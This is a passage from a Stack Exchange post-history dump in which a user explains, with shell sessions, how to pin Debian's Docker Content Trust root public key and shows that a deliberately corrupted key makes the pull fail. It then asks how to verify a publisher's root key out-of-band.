debian:stable-slim@sha256:850a7ee21c49c99b0e5e06df21f898a0e64335ae84eb37d6f71abc1bf28f5632&#xD;&#xA;sha256:850a7ee21c49c99b0e5e06df21f898a0e64335ae84eb37d6f71abc1bf28f5632: Pulling from library/debian&#xD;&#xA;6e640006d1cd: Pull complete &#xD;&#xA;Digest: sha256:850a7ee21c49c99b0e5e06df21f898a0e64335ae84eb37d6f71abc1bf28f5632&#xD;&#xA;Status: Downloaded newer image for debian@sha256:850a7ee21c49c99b0e5e06df21f898a0e64335ae84eb37d6f71abc1bf28f5632&#xD;&#xA;Tagging debian@sha256:850a7ee21c49c99b0e5e06df21f898a0e64335ae84eb37d6f71abc1bf28f5632 as debian:stable-slim&#xD;&#xA;root@disp2716:~# &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;### Proof&#xD;&#xA;&#xD;&#xA;While there's [no way to tell `docker` to fail on TOFU][3], we can confirm that the above key pinning works by making the public key something else&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;##&#xD;&#xA;# first, move the docker config dir out of the way&#xD;&#xA;## &#xD;&#xA;&#xD;&#xA;mv /root/.docker /root/.docker.bak&#xD;&#xA;&#xD;&#xA;##&#xD;&#xA;# add the debian publisher's root DCT key (note I just overwrote the first 8&#xD;&#xA;# characters of the actual key with &quot;INVALID/&quot;)&#xD;&#xA;##&#xD;&#xA;&#xD;&#xA;root@disp2716:~# mkdir -p /root/.docker/trust/tuf/docker.io/library/debian/metadata&#xD;&#xA;root@disp2716:~# chown -R root:root /root/.docker&#xD;&#xA;root@disp2716:~# chmod -R 0700 /root/.docker&#xD;&#xA;root@disp2716:~# echo '{&quot;signed&quot;:{&quot;_type&quot;:&quot;Root&quot;,&quot;consistent_snapshot&quot;:false,&quot;expires&quot;:&quot;2025-08-07T20:55:22.677722315-07:00&quot;,&quot;keys&quot;:{&quot;5717dcd81d9fb5b73aa15f2d887a6a0de543829ab9b2d411acce9219c2f8ba3a&quot;:{&quot;keytype&quot;:&quot;ecdsa&quot;,&quot;keyval&quot;:{&quot;private&quot;:null,&quot;public&quot;:&quot;INVALID/KoZIzj0CAQYIKoZIzj0DAQcDQgAEsslGF2xHOYztrocb2OsRF2zth16v170QiLAyKdce1nQgOJ34FOk679ClPL9/RNnJukf2JfQXSlVV/qcsvxV2dQ==&quot;}},&quot;575d013f89e3cbbb19e0fb06aa33566c22718318e0c9ffb1ab5cc4291e07bf84&quot;:{&quot;keytype&quot;:&quot;ecdsa-x509&quot;,&quot;keyval&quot;:{&quot;private&quot;:null,&quot;public&quot;:&quot;INVALID/RUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUJlVENDQVIrZ0F3SUJBZ0lRWExkUFFHTGJaOE84UXFlTzVuZlBRekFLQmdncWhrak9QUVFEQWpBak1TRXcKSHdZRFZRUURFeGhrYjJOclpYSXVhVzh2YkdsaWNtRnllUzlrWldKcFlXNHdIaGNOTVRVd09ERXhNRE0xTlRJeQpXaGNOTWpVd09EQTRNRE0xTlRJeVdqQWpNU0V3SHdZRFZRUURFeGhrYjJOclpYSXVhVzh2YkdsaWNtRnllUzlrClpXSnBZVzR3V1RBVEJnY3Foa2pPUFFJQkJnZ3Foa2pPUFFNQkJ3TkNBQVE1ZGkxcmxPQjBMQmRNS2N0VFQxYmwKUGd6aXYxOUJDdW9tNEFNL3BUdURtdjBnS0E5S1ptNUVjLy9VQmhSODVCYmR0cTk0cXhQM3IwUjhRc3FQV1Y4SQpvelV3TXpBT0JnTlZIUThCQWY4RUJBTUNBS0F3RXdZRFZSMGxCQXd3Q2dZSUt3WUJCUVVIQXdNd0RBWURWUjBUCkFRSC9CQUl3QURBS0JnZ3Foa2pPUFFRREFnTklBREJGQWlBOUFOZ3dPN2tBdUVIK3U2N25XNlFLWmlMdWd5UVcKaEQ3Vys5WjIza01mTndJaEFJa3RTaW1TdFdRQkFoOG9WOXhjaWNVWWVUN0pyUG82a0RqeHU1YitGZ3MxCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K&quot;}},&quot;728c96ff5e9f48d4e66d5a0c3ecabfdd90bee2b5f9f80b950ed9c668db264a70&quot;:{&quot;keytype&quot;:&quot;ecdsa&quot;,&quot;keyval&quot;:{&quot;private&quot;:null,&quot;public&quot;:&quot;INVALID/KoZIzj0CAQYIKoZIzj0DAQcDQgAENtpBkDJ2oYaAAVdOkP0A6J0XwUkYGuFRk+q8N4WCPu2VnNIuBJkatPCWdEtHfQ9nNYLeanWgG62/UmJnx3E2Yg==&quot;}},&quot;d48327d85f0490827db7c931eedb58d293e1da5fc425ea0cde3e6c13b397ad69&quot;:{&quot;keytype&quot;:&quot;ecdsa&quot;,&quot;keyval&quot;:{&quot;private&quot;:null,&quot;public&quot;:&quot;INVALID/KoZIzj0CAQYIKoZIzj0DAQcDQgAEwfs26T/cpjvNTXVJpK7Wv8oDOnNKL78AT3Y1QD356OIAggwPupX2LQjZU6CVzCjm+pkJIO4clu9Q2n540gKuzQ==&quot;}}},&quot;roles&quot;:{&quot;root&quot;:{&quot;keyids&quot;:[&quot;575d013f89e3cbbb19e0fb06aa33566c22718318e0c9ffb1ab5cc4291e07bf84&quot;],&quot;threshold&quot;:1},&quot;snapshot&quot;:{&quot;keyids&quot;:[&quot;d48327d85f0490827db7c931eedb58d293e1da5fc425ea0cde3e6c13b397ad69&quot;],&quot;threshold&quot;:1},&quot;targets&quot;:{&quot;keyids&quot;:[&quot;5717dcd81d9fb5b73aa15f2d887a6a0de543829ab9b2d411acce9219c2f8ba3a&quot;],&quot;threshold&quot;:1},&quot;timestamp&quot;:{&quot;keyids&quot;:[&quot;728c96ff5e9f48d4e66d5a0c3ecabfdd90bee2b5f9f80b950ed9c668db264a70&quot;],&quot;threshold&quot;:1}},&quot;version&quot;:1},&quot;signatures&quot;:[{&quot;keyid&quot;:&quot;575d013f89e3cbbb19e0fb06aa33566c22718318e0c9ffb1ab5cc4291e07bf84&quot;,&quot;method&quot;:&quot;ecdsa&quot;,&quot;sig&quot;:&quot;3WbX1VXN9E8LRmSG+E4SQlBUNqBNchhwAStWnRWLLyAOoFNBq5xmIgSO3UYYuKyJvL7kbMoONRbn5Vk2p2Wqrg==&quot;}]}' &gt; /root/.docker/trust/tuf/docker.io/library/debian/metadata/root.json&#xD;&#xA;root@disp2716:~# &#xD;&#xA;root@disp2716:~# chown root:root /root/.docker/trust/tuf/docker.io/library/debian/metadata/root.json&#xD;&#xA;root@disp2716:~# chmod 0600 /root/.docker/trust/tuf/docker.io/library/debian/metadata/root.json&#xD;&#xA;root@disp2716:~# &#xD;&#xA;&#xD;&#xA;##&#xD;&#xA;# pull the docker image with DCT verification&#xD;&#xA;##&#xD;&#xA;&#xD;&#xA;root@disp2716:~# export DOCKER_CONTENT_TRUST=1&#xD;&#xA;root@disp2716:~# docker pull debian:stable-slim&#xD;&#xA;could not validate the path to a trusted root: unable to retrieve valid leaf certificates&#xD;&#xA;root@disp2716:~# &#xD;&#xA;root@disp2716:~# echo $?&#xD;&#xA;1&#xD;&#xA;root@disp2716:~# &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Note that docker exits 1 with an error refusing to pull the `debian:stable-slim` docker image from Docker Hub because it cannot trust its signature&#xD;&#xA;&#xD;&#xA;  [1]: https://security.stackexchange.com/questions/238916/how-to-pin-public-root-key-when-downloading-an-image-with-docker-pull-docker-co?noredirect=1&amp;lq=1&#xD;&#xA;  [2]: https://hub.docker.com/_/debian/&#xD;&#xA;  [3]: https://github.com/docker/cli/issues/2752" ContentLicense="CC BY-SA 4.0" />
  <row Id="44016" PostHistoryTypeId="5" PostId="13988" RevisionGUID="34c527c5-4ff0-4349-8542-c7b2b9fa29ab" CreationDate="2021-05-25T15:20:46.387" UserId="22501" Comment="added 3621 characters in body" Text="## tl;dr&#xD;&#xA;You can execute the following to pin the public root key for `debian`:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;sudo su -&#xD;&#xA;mkdir -p /root/.docker/trust/tuf/docker.io/library/debian/metadata&#xD;&#xA;chown -R root:root /root/.docker&#xD;&#xA;chmod -R 0700 /root/.docker&#xD;&#xA;echo '{&quot;signed&quot;:{&quot;_type&quot;:&quot;Root&quot;,&quot;consistent_snapshot&quot;:false,&quot;expires&quot;:&quot;2025-08-07T20:55:22.677722315-07:00&quot;,&quot;keys&quot;:{&quot;5717dcd81d9fb5b73aa15f2d887a6a0de543829ab9b2d411acce9219c2f8ba3a&quot;:{&quot;keytype&quot;:&quot;ecdsa&quot;,&quot;keyval&quot;:{&quot;private&quot;:null,&quot;public&quot;:&quot;MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEsslGF2xHOYztrocb2OsRF2zth16v170QiLAyKdce1nQgOJ34FOk679ClPL9/RNnJukf2JfQXSlVV/qcsvxV2dQ==&quot;}},&quot;575d013f89e3cbbb19e0fb06aa33566c22718318e0c9ffb1ab5cc4291e07bf84&quot;:{&quot;keytype&quot;:&quot;ecdsa-x509&quot;,&quot;keyval&quot;:{&quot;private&quot;:null,&quot;public&quot;:&quot;LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUJlVENDQVIrZ0F3SUJBZ0lRWExkUFFHTGJaOE84UXFlTzVuZlBRekFLQmdncWhrak9QUVFEQWpBak1TRXcKSHdZRFZRUURFeGhrYjJOclpYSXVhVzh2YkdsaWNtRnllUzlrWldKcFlXNHdIaGNOTVRVd09ERXhNRE0xTlRJeQpXaGNOTWpVd09EQTRNRE0xTlRJeVdqQWpNU0V3SHdZRFZRUURFeGhrYjJOclpYSXVhVzh2YkdsaWNtRnllUzlrClpXSnBZVzR3V1RBVEJnY3Foa2pPUFFJQkJnZ3Foa2pPUFFNQkJ3TkNBQVE1ZGkxcmxPQjBMQmRNS2N0VFQxYmwKUGd6aXYxOUJDdW9tNEFNL3BUdURtdjBnS0E5S1ptNUVjLy9VQmhSODVCYmR0cTk0cXhQM3IwUjhRc3FQV1Y4SQpvelV3TXpBT0JnTlZIUThCQWY4RUJBTUNBS0F3RXdZRFZSMGxCQXd3Q2dZSUt3WUJCUVVIQXdNd0RBWURWUjBUCkFRSC9CQUl3QURBS0JnZ3Foa2pPUFFRREFnTklBREJGQWlBOUFOZ3dPN2tBdUVIK3U2N25XNlFLWmlMdWd5UVcKaEQ3Vys5WjIza01mTndJaEFJa3RTaW1TdFdRQkFoOG9WOXhjaWNVWWVUN0pyUG82a0RqeHU1YitGZ3MxCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K&quot;}},&quot;728c96ff5e9f48d4e66d5a0c3ecabfdd90bee2b5f9f80b950ed9c668db264a70&quot;:{&quot;keytype&quot;:&quot;ecdsa&quot;,&quot;keyval&quot;:{&quot;private&quot;:null,&quot;public&quot;:&quot;MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAENtpBkDJ2oYaAAVdOkP0A6J0XwUkYGuFRk+q8N4WCPu2VnNIuBJkatPCWdEtHfQ9nNYLeanWgG62/UmJnx3E2Yg==&quot;}},&quot;d48327d85f0490827db7c931eedb58d293e1da5fc425ea0cde3e6c13b397ad69&quot;:{&quot;keytype&quot;:&quot;ecdsa&quot;,&quot;keyval&quot;:{&quot;private&quot;:null,&quot;public&quot;:&quot;MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEwfs26T/cpjvNTXVJpK7Wv8oDOnNKL78AT3Y1QD356OIAggwPupX2LQjZU6CVzCjm+pkJIO4clu9Q2n540gKuzQ==&quot;}}},&quot;roles&quot;:{&quot;root&quot;:{&quot;keyids&quot;:[&quot;575d013f89e3cbbb19e0fb06aa33566c22718318e0c9ffb1ab5cc4291e07bf84&quot;],&quot;threshold&quot;:1},&quot;snapshot&quot;:{&quot;keyids&quot;:[&quot;d48327d85f0490827db7c931eedb58d293e1da5fc425ea0cde3e6c13b397ad69&quot;],&quot;threshold&quot;:1},&quot;targets&quot;:{&quot;keyids&quot;:[&quot;5717dcd81d9fb5b73aa15f2d887a6a0de543829ab9b2d411acce9219c2f8ba3a&quot;],&quot;threshold&quot;:1},&quot;timestamp&quot;:{&quot;keyids&quot;:[&quot;728c96ff5e9f48d4e66d5a0c3ecabfdd90bee2b5f9f80b950ed9c668db264a70&quot;],&quot;threshold&quot;:1}},&quot;version&quot;:1},&quot;signatures&quot;:[{&quot;keyid&quot;:&quot;575d013f89e3cbbb19e0fb06aa33566c22718318e0c9f&#xD;&#xA;fb1ab5cc4291e07bf84&quot;,&quot;method&quot;:&quot;ecdsa&quot;,&quot;sig&quot;:&quot;3WbX1VXN9E8LRmSG+E4SQlBUNqBNchhwAStWnRWLLyAOoFNBq5xmIgSO3UYYuKyJvL7kbMoONRbn5Vk2p2Wqrg==&quot;}]}' &gt; /root/.docker/trust/tuf/docker.io/library/debian/metadata/root.json&#xD;&#xA;&#xD;&#xA;export DOCKER_CONTENT_TRUST=1&#xD;&#xA;docker pull debian:stable-slim&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;## Long Answer&#xD;&#xA;&#xD;&#xA;&gt; ⚠ Disclaimer: I am not a docker developer. As of 2021, it appears that DCT is broken out-of-the-box and is far from being useful. My answer here is a best-guess, but I have not confirmed with the docker team if this is the &quot;correct&quot; way to pre-load and pin a given publisher's root key into the DCT keyring.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Be advised, proceed with caution, and your comments are very welcome.&#xD;&#xA;&#xD;&#xA;It doesn't appear to be documented anywhere, but per [this question][1] it's clear that docker puts its DCT metadata (including root public keys) in the following location:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$HOME/.docker/trust/tuf/docker.io/library&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Inside this `library` dir exists one dir per publisher. For the purposes of this answer, I'll use `debian` as our example publisher.&#xD;&#xA;&#xD;&#xA;You can see the list of the `debian` docker images published to Docker Hub here:&#xD;&#xA;&#xD;&#xA; * [https://hub.docker.com/_/debian/][2]&#xD;&#xA;&#xD;&#xA;### Solution&#xD;&#xA;&#xD;&#xA;Let's say we want to download the `stable-slim` image from the `debian` publisher on Docker Hub. In this example, we'll also use a fresh install of Debian 10 as the docker host.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;##&#xD;&#xA;# first, install docker&#xD;&#xA;## &#xD;&#xA;root@disp2716:~# apt-get install docker.io&#xD;&#xA;...&#xD;&#xA;root@disp2716:~#&#xD;&#xA;&#xD;&#xA;##&#xD;&#xA;# confirm that there is no docker config dir yet&#xD;&#xA;##&#xD;&#xA;&#xD;&#xA;root@disp2716:~# ls -lah /root/.docker&#xD;&#xA;ls: cannot access '/root/.docker': No such file or directory&#xD;&#xA;root@disp2716:~# &#xD;&#xA;&#xD;&#xA;##&#xD;&#xA;# add the debian publisher's root DCT key&#xD;&#xA;##&#xD;&#xA;&#xD;&#xA;root@disp2716:~# mkdir -p /root/.docker/trust/tuf/docker.io/library/debian/metadata&#xD;&#xA;root@disp2716:~# chown -R root:root /root/.docker&#xD;&#xA;root@disp2716:~# chmod -R 0700 /root/.docker&#xD;&#xA;root@disp2716:~# echo '{&quot;signed&quot;:{&quot;_type&quot;:&quot;Root&quot;,&quot;consistent_snapshot&quot;:false,&quot;expires&quot;:&quot;2025-08-07T20:55:22.677722315-07:00&quot;,&quot;keys&quot;:{&quot;5717dcd81d9fb5b73aa15f2d887a6a0de543829ab9b2d411acce9219c2f8ba3a&quot;:{&quot;keytype&quot;:&quot;ecdsa&quot;,&quot;keyval&quot;:{&quot;private&quot;:null,&quot;public&quot;:&quot;MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEsslGF2xHOYztrocb2OsRF2zth16v170QiLAyKdce1nQgOJ34FOk679ClPL9/RNnJukf2JfQXSlVV/qcsvxV2dQ==&quot;}},&quot;575d013f89e3cbbb19e0fb06aa33566c22718318e0c9ffb1ab5cc4291e07bf84&quot;:{&quot;keytype&quot;:&quot;ecdsa-x509&quot;,&quot;keyval&quot;:{&quot;private&quot;:null,&quot;public&quot;:&quot;LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUJlVENDQVIrZ0F3SUJBZ0lRWExkUFFHTGJaOE84UXFlTzVuZlBRekFLQmdncWhrak9QUVFEQWpBak1TRXcKSHdZRFZRUURFeGhrYjJOclpYSXVhVzh2YkdsaWNtRnllUzlrWldKcFlXNHdIaGNOTVRVd09ERXhNRE0xTlRJeQpXaGNOTWpVd09EQTRNRE0xTlRJeVdqQWpNU0V3SHdZRFZRUURFeGhrYjJOclpYSXVhVzh2YkdsaWNtRnllUzlrClpXSnBZVzR3V1RBVEJnY3Foa2pPUFFJQkJnZ3Foa2pPUFFNQkJ3TkNBQVE1ZGkxcmxPQjBMQmRNS2N0VFQxYmwKUGd6aXYxOUJDdW9tNEFNL3BUdURtdjBnS0E5S1ptNUVjLy9VQmhSODVCYmR0cTk0cXhQM3IwUjhRc3FQV1Y4SQpvelV3TXpBT0JnTlZIUThCQWY4RUJBTUNBS0F3RXdZRFZSMGxCQXd3Q2dZSUt3WUJCUVVIQXdNd0RBWURWUjBUCkFRSC9CQUl3QURBS0JnZ3Foa2pPUFFRREFnTklBREJGQWlBOUFOZ3dPN2tBdUVIK3U2N25XNlFLWmlMdWd5UVcKaEQ3Vys5WjIza01mTndJaEFJa3RTaW1TdFdRQkFoOG9WOXhjaWNVWWVUN0pyUG82a0RqeHU1YitGZ3MxCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K&quot;}},&quot;728c96ff5e9f48d4e66d5a0c3ecabfdd90bee2b5f9f80b950ed9c668db264a70&quot;:{&quot;keytype&quot;:&quot;ecdsa&quot;,&quot;keyval&quot;:{&quot;private&quot;:null,&quot;public&quot;:&quot;MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAENtpBkDJ2oYaAAVdOkP0A6J0XwUkYGuFRk+q8N4WCPu2VnNIuBJkatPCWdEtHfQ9nNYLeanWgG62/UmJnx3E2Yg==&quot;}},&quot;d48327d85f0490827db7c931eedb58d293e1da5fc425ea0cde3e6c13b397ad69&quot;:{&quot;keytype&quot;:&quot;ecdsa&quot;,&quot;keyval&quot;:{&quot;private&quot;:null,&quot;public&quot;:&quot;MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEwfs26T/cpjvNTXVJpK7Wv8oDOnNKL78AT3Y1QD356OIAggwPupX2LQjZU6CVzCjm+pkJIO4clu9Q2n540gKuzQ==&quot;}}},&quot;roles&quot;:{&quot;root&quot;:{&quot;keyids&quot;:[&quot;575d013f89e3cbbb19e0fb06aa33566c22718318e0c9ffb1ab5cc4291e07bf84&quot;],&quot;threshold&quot;:1},&quot;snapshot&quot;:{&quot;keyids&quot;:[&quot;d48327d85f0490827db7c931eedb58d293e1da5fc425ea0cde3e6c13b397ad69&quot;],&quot;threshold&quot;:1},&quot;targets&quot;:{&quot;keyids&quot;:[&quot;5717dcd81d9fb5b73aa15f2d887a6a0de543829ab9b2d411acce9219c2f8ba3a&quot;],&quot;threshold&quot;:1},&quot;timestamp&quot;:{&quot;keyids&quot;:[&quot;728c96ff5e9f48d4e66d5a0c3ecabfdd90bee2b5f9f80b950ed9c668db264a70&quot;],&quot;threshold&quot;:1}},&quot;version&quot;:1},&quot;signatures&quot;:[{&quot;keyid&quot;:&quot;575d013f89e3cbbb19e0fb06aa33566c22718318e0c9ffb1ab5cc4291e07bf84&quot;,&quot;method&quot;:&quot;ecdsa&quot;,&quot;sig&quot;:&quot;3WbX1VXN9E8LRmSG+E4SQlBUNqBNchhwAStWnRWLLyAOoFNBq5xmIgSO3UYYuKyJvL7kbMoONRbn5Vk2p2Wqrg==&quot;}]}' &gt; /root/.docker/trust/tuf/docker.io/library/debian/metadata/root.json&#xD;&#xA;root@disp2716:~# &#xD;&#xA;root@disp2716:~# chown root:root /root/.docker/trust/tuf/docker.io/library/debian/metadata/root.json&#xD;&#xA;root@disp2716:~# chmod 0600 /root/.docker/trust/tuf/docker.io/library/debian/metadata/root.json&#xD;&#xA;root@disp2716:~# &#xD;&#xA;&#xD;&#xA;##&#xD;&#xA;# pull the docker image with DCT verification&#xD;&#xA;##&#xD;&#xA;&#xD;&#xA;root@disp2716:~# export DOCKER_CONTENT_TRUST=1&#xD;&#xA;root@disp2716:~# docker pull debian:stable-slim&#xD;&#xA;Pull (1 of 1): debian:stable-slim@sha256:850a7ee21c49c99b0e5e06df21f898a0e64335ae84eb37d6f71abc1bf28f5632&#xD;&#xA;sha256:850a7ee21c49c99b0e5e06df21f898a0e64335ae84eb37d6f71abc1bf28f5632: Pulling from library/debian&#xD;&#xA;6e640006d1cd: Pull complete &#xD;&#xA;Digest: sha256:850a7ee21c49c99b0e5e06df21f898a0e64335ae84eb37d6f71abc1bf28f5632&#xD;&#xA;Status: Downloaded newer image for debian@sha256:850a7ee21c49c99b0e5e06df21f898a0e64335ae84eb37d6f71abc1bf28f5632&#xD;&#xA;Tagging debian@sha256:850a7ee21c49c99b0e5e06df21f898a0e64335ae84eb37d6f71abc1bf28f5632 as debian:stable-slim&#xD;&#xA;root@disp2716:~# &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;### Proof&#xD;&#xA;&#xD;&#xA;While there's [no way to tell `docker` to fail on TOFU][3], we can confirm that the above key pinning works by making the public key something else&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;##&#xD;&#xA;# first, move the docker config dir out of the way&#xD;&#xA;## &#xD;&#xA;&#xD;&#xA;mv /root/.docker /root/.docker.bak&#xD;&#xA;&#xD;&#xA;##&#xD;&#xA;# add the debian publisher's root DCT key (note I just overwrote the first 8&#xD;&#xA;# characters of the actual key with &quot;INVALID/&quot;)&#xD;&#xA;##&#xD;&#xA;&#xD;&#xA;root@disp2716:~# mkdir -p /root/.docker/trust/tuf/docker.io/library/debian/metadata&#xD;&#xA;root@disp2716:~# chown -R root:root /root/.docker&#xD;&#xA;root@disp2716:~# chmod -R 0700 /root/.docker&#xD;&#xA;root@disp2716:~# echo '{&quot;signed&quot;:{&quot;_type&quot;:&quot;Root&quot;,&quot;consistent_snapshot&quot;:false,&quot;expires&quot;:&quot;2025-08-07T20:55:22.677722315-07:00&quot;,&quot;keys&quot;:{&quot;5717dcd81d9fb5b73aa15f2d887a6a0de543829ab9b2d411acce9219c2f8ba3a&quot;:{&quot;keytype&quot;:&quot;ecdsa&quot;,&quot;keyval&quot;:{&quot;private&quot;:null,&quot;public&quot;:&quot;INVALID/KoZIzj0CAQYIKoZIzj0DAQcDQgAEsslGF2xHOYztrocb2OsRF2zth16v170QiLAyKdce1nQgOJ34FOk679ClPL9/RNnJukf2JfQXSlVV/qcsvxV2dQ==&quot;}},&quot;575d013f89e3cbbb19e0fb06aa33566c22718318e0c9ffb1ab5cc4291e07bf84&quot;:{&quot;keytype&quot;:&quot;ecdsa-x509&quot;,&quot;keyval&quot;:{&quot;private&quot;:null,&quot;public&quot;:&quot;INVALID/RUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUJlVENDQVIrZ0F3SUJBZ0lRWExkUFFHTGJaOE84UXFlTzVuZlBRekFLQmdncWhrak9QUVFEQWpBak1TRXcKSHdZRFZRUURFeGhrYjJOclpYSXVhVzh2YkdsaWNtRnllUzlrWldKcFlXNHdIaGNOTVRVd09ERXhNRE0xTlRJeQpXaGNOTWpVd09EQTRNRE0xTlRJeVdqQWpNU0V3SHdZRFZRUURFeGhrYjJOclpYSXVhVzh2YkdsaWNtRnllUzlrClpXSnBZVzR3V1RBVEJnY3Foa2pPUFFJQkJnZ3Foa2pPUFFNQkJ3TkNBQVE1ZGkxcmxPQjBMQmRNS2N0VFQxYmwKUGd6aXYxOUJDdW9tNEFNL3BUdURtdjBnS0E5S1ptNUVjLy9VQmhSODVCYmR0cTk0cXhQM3IwUjhRc3FQV1Y4SQpvelV3TXpBT0JnTlZIUThCQWY4RUJBTUNBS0F3RXdZRFZSMGxCQXd3Q2dZSUt3WUJCUVVIQXdNd0RBWURWUjBUCkFRSC9CQUl3QURBS0JnZ3Foa2pPUFFRREFnTklBREJGQWlBOUFOZ3dPN2tBdUVIK3U2N25XNlFLWmlMdWd5UVcKaEQ3Vys5WjIza01mTndJaEFJa3RTaW1TdFdRQkFoOG9WOXhjaWNVWWVUN0pyUG82a0RqeHU1YitGZ3MxCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K&quot;}},&quot;728c96ff5e9f48d4e66d5a0c3ecabfdd90bee2b5f9f80b950ed9c668db264a70&quot;:{&quot;keytype&quot;:&quot;ecdsa&quot;,&quot;keyval&quot;:{&quot;private&quot;:null,&quot;public&quot;:&quot;INVALID/KoZIzj0CAQYIKoZIzj0DAQcDQgAENtpBkDJ2oYaAAVdOkP0A6J0XwUkYGuFRk+q8N4WCPu2VnNIuBJkatPCWdEtHfQ9nNYLeanWgG62/UmJnx3E2Yg==&quot;}},&quot;d48327d85f0490827db7c931eedb58d293e1da5fc425ea0cde3e6c13b397ad69&quot;:{&quot;keytype&quot;:&quot;ecdsa&quot;,&quot;keyval&quot;:{&quot;private&quot;:null,&quot;public&quot;:&quot;INVALID/KoZIzj0CAQYIKoZIzj0DAQcDQgAEwfs26T/cpjvNTXVJpK7Wv8oDOnNKL78AT3Y1QD356OIAggwPupX2LQjZU6CVzCjm+pkJIO4clu9Q2n540gKuzQ==&quot;}}},&quot;roles&quot;:{&quot;root&quot;:{&quot;keyids&quot;:[&quot;575d013f89e3cbbb19e0fb06aa33566c22718318e0c9ffb1ab5cc4291e07bf84&quot;],&quot;threshold&quot;:1},&quot;snapshot&quot;:{&quot;keyids&quot;:[&quot;d48327d85f0490827db7c931eedb58d293e1da5fc425ea0cde3e6c13b397ad69&quot;],&quot;threshold&quot;:1},&quot;targets&quot;:{&quot;keyids&quot;:[&quot;5717dcd81d9fb5b73aa15f2d887a6a0de543829ab9b2d411acce9219c2f8ba3a&quot;],&quot;threshold&quot;:1},&quot;timestamp&quot;:{&quot;keyids&quot;:[&quot;728c96ff5e9f48d4e66d5a0c3ecabfdd90bee2b5f9f80b950ed9c668db264a70&quot;],&quot;threshold&quot;:1}},&quot;version&quot;:1},&quot;signatures&quot;:[{&quot;keyid&quot;:&quot;575d013f89e3cbbb19e0fb06aa33566c22718318e0c9ffb1ab5cc4291e07bf84&quot;,&quot;method&quot;:&quot;ecdsa&quot;,&quot;sig&quot;:&quot;3WbX1VXN9E8LRmSG+E4SQlBUNqBNchhwAStWnRWLLyAOoFNBq5xmIgSO3UYYuKyJvL7kbMoONRbn5Vk2p2Wqrg==&quot;}]}' &gt; /root/.docker/trust/tuf/docker.io/library/debian/metadata/root.json&#xD;&#xA;root@disp2716:~# &#xD;&#xA;root@disp2716:~# chown root:root /root/.docker/trust/tuf/docker.io/library/debian/metadata/root.json&#xD;&#xA;root@disp2716:~# chmod 0600 /root/.docker/trust/tuf/docker.io/library/debian/metadata/root.json&#xD;&#xA;root@disp2716:~# &#xD;&#xA;&#xD;&#xA;##&#xD;&#xA;# pull the docker image with DCT verification&#xD;&#xA;##&#xD;&#xA;&#xD;&#xA;root@disp2716:~# export DOCKER_CONTENT_TRUST=1&#xD;&#xA;root@disp2716:~# docker pull debian:stable-slim&#xD;&#xA;could not validate the path to a trusted root: unable to retrieve valid leaf certificates&#xD;&#xA;root@disp2716:~# &#xD;&#xA;root@disp2716:~# echo $?&#xD;&#xA;1&#xD;&#xA;root@disp2716:~# &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Note that docker exits 1 with an error refusing to pull the `debian:stable-slim` docker image from Docker Hub because it cannot trust its signature&#xD;&#xA;&#xD;&#xA;  [1]: https://security.stackexchange.com/questions/238916/how-to-pin-public-root-key-when-downloading-an-image-with-docker-pull-docker-co?noredirect=1&amp;lq=1&#xD;&#xA;  [2]: https://hub.docker.com/_/debian/&#xD;&#xA;  [3]: https://github.com/docker/cli/issues/2752" ContentLicense="CC BY-SA 4.0" />
  <row Id="44017" PostHistoryTypeId="2" PostId="13990" RevisionGUID="db036b4a-314e-4060-9ce0-b910cad26fee" CreationDate="2021-05-25T15:34:02.927" UserId="22501" Text="For a given publisher of docker images on Docker Hub (let's say `debian`), how do I download their root release/image signing key and verify its authenticity from multiple sources out-of-band from each-other?&#xD;&#xA;&#xD;&#xA;Though it doesn't appear to be covered in the official docker documentation, this answer explains how to pin a given publisher's root key on a fresh install of a docker host to avoid blind TOFU.&#xD;&#xA;&#xD;&#xA; * https://devops.stackexchange.com/questions/13987/how-to-pin-public-root-key-when-downloading-an-image-with-docker-pull-docker-co/13988#13988&#xD;&#xA;&#xD;&#xA;But that answer didn't address how to actually obtain the given publisher's root key and verify its authenticity.&#xD;&#xA;&#xD;&#xA;Typically, outside of docker, a publisher will do at least two things to assist their clients in obtaining the authentic copy of their release signing keys the first time:&#xD;&#xA;&#xD;&#xA; 1. They get their key signed by many other developers or publishers, creating a web-of-trust&#xD;&#xA;&#xD;&#xA; 1. They distribute their release signing public keys and/or primary key fingerprint on multiple, distinct domains (thus increasing the attack required to break all domains and nearly eliminating the possibility for MITM manipulation). For example, keybase.io, twitter.com, github.com, and their project's self-hosted website.&#xD;&#xA;&#xD;&#xA;Other than running `docker pull` on several freshly-installed systems, blindly TOFU'ing, and comparing the resulting `root.json` files -- how can I download a given docker image publisher's `root.json` keyfile?" ContentLicense="CC BY-SA 4.0" />
  <row Id="44018" PostHistoryTypeId="1" PostId="13990" RevisionGUID="db036b4a-314e-4060-9ce0-b910cad26fee" CreationDate="2021-05-25T15:34:02.927" UserId="22501" Text="Docker: How to download &amp; verify a publisher's root key (out-of-band, distinct-domain cryptographic verification, WoT)" ContentLicense="CC BY-SA 4.0" />
